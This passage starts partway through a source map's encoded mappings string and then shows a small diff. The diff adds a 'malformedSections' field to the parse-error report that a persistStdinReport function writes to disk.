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"}
|
|
@@ -92,9 +92,11 @@ export function persistStdinReport(args) {
|
|
|
92
92
|
// carries sessionId (findLatestParseError skips logs it cannot
|
|
93
93
|
// attribute to the approving session).
|
|
94
94
|
const parseErrorDir = path.join(path.dirname(args.reportsDir), "parse-errors");
|
|
95
|
+
const malformedSections = result.error.malformedSections ?? [];
|
|
95
96
|
const payload = `${JSON.stringify({
|
|
96
97
|
reason: result.error.reason,
|
|
97
98
|
missing: result.error.missing,
|
|
99
|
+
malformedSections,
|
|
98
100
|
schemaErrors: result.error.schemaErrors,
|
|
99
101
|
message: result.error.message,
|
|
100
102
|
stamp,
|